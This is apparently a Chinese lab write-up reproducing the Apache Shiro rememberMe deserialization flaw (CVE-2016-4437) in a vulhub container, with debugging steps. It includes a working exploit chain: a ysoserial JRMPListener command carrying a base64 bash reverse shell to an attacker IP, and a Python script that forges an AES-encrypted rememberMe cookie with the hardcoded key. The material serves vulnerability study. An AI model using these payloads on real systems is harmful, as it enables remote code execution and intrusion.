当前位置: 首页 > news >正文

shiro550-cve-2016-4437复现

shiro550-cve-2016-4437

复现环境:docker desktop

idea远程调试jdk版本必须与容器里的jdk1.8.0_102 匹配上,下载资源翻我CC1链那篇文章

注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。

ysoserial工具:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

一键工具:https://github.com/SummerSec/ShiroAttack2/releases

jdk11后不支持JavaFX库,使用jdk1.8

文章目录

  • shiro550-cve-2016-4437
    • 1. 简介
    • 2. 远程调试方法
    • 3. 复现流程
      • 1. 工具复现
      • 2. 半手工复现
    • 参考

1. 简介

影响版本:Shiro <= 1.2.4

原理:Apache Shiro 提供了一种“rememberMe”功能,用于在用户关闭浏览器后仍然保持会话,当启用该功能时,Shiro 会将用户的会话信息序列化并存储在一个 cookie 中,以便在用户重新访问时反序列化并恢复会话;在这边攻击者可以通过修改“rememberMe” cookie,注入特制的恶意Java 序列化对象;当 Shiro 反序列化这个恶意对象时,攻击者可以在目标系统上执行任意代码。

加密的密钥Key被硬编码在代码里kPH+bIxk5D2deZiIxcaaaA==

Payload的构造流程:

恶意命令–>序列化–>AES加密–>base64编码–>发送Cookie

判断方法:随便输账号密码密码,勾选remember me,burpsuite抓包发现请求包中有RememberMe字段,响应包有Set-cookie:rememberMe=deleteMe字段

在这里插入图片描述

Shiro服务器识别身份加解密处理的流程

(1)加密

1.用户使用账号密码进行登录,并勾选"Remember Me"。

2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。

3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。

4、最后将处理好的内容放于cookie中的rememberMe字段。

(2)解密

1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。

2、将获取到的rememberMe字段进行base64解码,再使用AES解密。

3、最后将解密的内容进行反序列化,获取到用户身份。

2. 远程调试方法

C:\Users\21609\vulhub\shiro\CVE-2016-4437目录下修改docker-compose.yml,让它能远程调试

services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"
    - "5050:5050"
   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar

启容器

C:\Users\21609\vulhub\shiro\CVE-2016-4437>docker-compose up -d

docker desktop进容器里执行命令

su 
find / -name "*.jar"
java -version #openjdk version "1.8.0_102"

cmd里把容器里的文件拷贝出来

docker cp 67192e54766a:/shirodemo-1.0-SNAPSHOT.jar shirodemo-1.0-SNAPSHOT.jar

改后缀为zip解压,idea打开当前目录,右键lib目录,add as library

在file->project structure->module->dependencies里选中lib添加目录BOOT-INF,然后记得打勾,sdk选1.8.0_102

在这里插入图片描述

新建debug configuration

在这里插入图片描述

navigate->Search Everywhere,搜索onSuccessfulLogin函数

isRememberMe为true时,进rememberIdentity函数

在这里插入图片描述

在下图处打断点

在这里插入图片描述

然后idea运行debug configuration

使用admin:vulhub进行登录

在这里插入图片描述

可以看到程序成功断下

在这里插入图片描述

AES CBC模式加密

在这里插入图片描述

注意到密钥是固定值

在这里插入图片描述

在这里插入图片描述

3. 复现流程

1. 工具复现

C:\Program Files\Java\jdk1.8.0_102\bin>.\java.exe -jar C:\Users\21609\Downloads\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar

填入密钥kPH+bIxk5D2deZiIxcaaaA==后检测密钥,再点击检测当前利用链。

在这里插入图片描述

点击命令执行输入命令即可执行。

在这里插入图片描述

2. 半手工复现

起个控制台
nc64 -lvvp 8054

使用ysoserial生成CC5的Gadget:

#payload不能包含>,<
#进https://forum.ywhack.com/shell.php选取base64编码的payload
#ip:192.168.75.180 port:8054
#使用 java 命令运行 ysoserial-all.jar 中的类,监听指定端口等待连接
C:\Users\21609\Desktop\code>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE4MC84MDU0IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

#pip install pycryptodome
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'C:\\Users\\21609\\Desktop\\code\\ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    #stdout=subprocess.PIPE:捕获命令的标准输出(即生成的 payload)
    BS = AES.block_size #获取AES加密的块大小(通常为 16 字节)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #用于对数据进行填充,使其长度是块大小的整数倍(PKCS7 填充)
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #base64解码出AES密钥
    iv = uuid.uuid4().bytes #UUID转字节流作为AES加密的初始化向量
    encryptor = AES.new(key, AES.MODE_CBC, iv)#创建一个 AES 加密器
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(input("请输入`攻击机ip:JRMP端口`:"))#攻击机ip:JRMP端口
    #192.168.75.180:7777
    print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

在这里插入图片描述

burpsuite抓包修改一下
在这里插入图片描述

成功

在这里插入图片描述

参考

IDEA远程调试Docker中程序的方法 AresX

Web渗透:Shiro550漏洞(CVE-2016-4437)WolvenSec

shiro550反序列化漏洞原理与漏洞复现 程序员负总裁

相关文章:

  • Java数据结构第二十期:解构排序算法的艺术与科学(二)
  • 2025 - GDB 盲调笔记--调试 “无调试符号“ “无调试信息“ 的三方程序
  • MyBatis-Plus分页控件使用及使用过程发现的一个坑
  • 从0开始的操作系统手搓教程31:完成硬盘驱动程序
  • 恋爱循环2025年3月9日
  • 基于RNN+微信小程序+Flask的古诗词生成应用
  • C语言学习day25:WinAPI编程进阶07-游戏辅助时钟周期事件、定时器消息
  • 带宽计算公式
  • clickhouse源码分析
  • 顺序栈和链式栈的使用
  • 内存管理——页表、页表项、页目录、多级页表
  • 【大模型知识点】位置编码——绝对位置编码,相对位置编码,旋转位置编码RoPE
  • 【CXX】6.2 Rust::Str 公共 API
  • MySQL中的`JSON_EXTRACT`函数
  • Anthropic 平台升级,解锁 Claude3.7Sonnet 与 prompt 创作新玩法
  • SPI驱动(六) -- SPI_OLED上机实验(使用spidev)
  • 梯度计算中常用的矩阵微积分公式
  • 计算机网络----主要内容简介
  • Qwen2.5-7B-Instruct进行自我认知微调
  • HTTP 黑科技
  • dedecms做网站/郑州网站优化公司
  • 做网站建网站/帮人推广的平台
  • 更改wordpress小工具的样式/关键词seo服务
  • 我国企业网站的建设情况/湖北搜索引擎优化
  • 万户高端网站建设/北京推广优化经理
  • cpu wordpress/重庆网站页面优化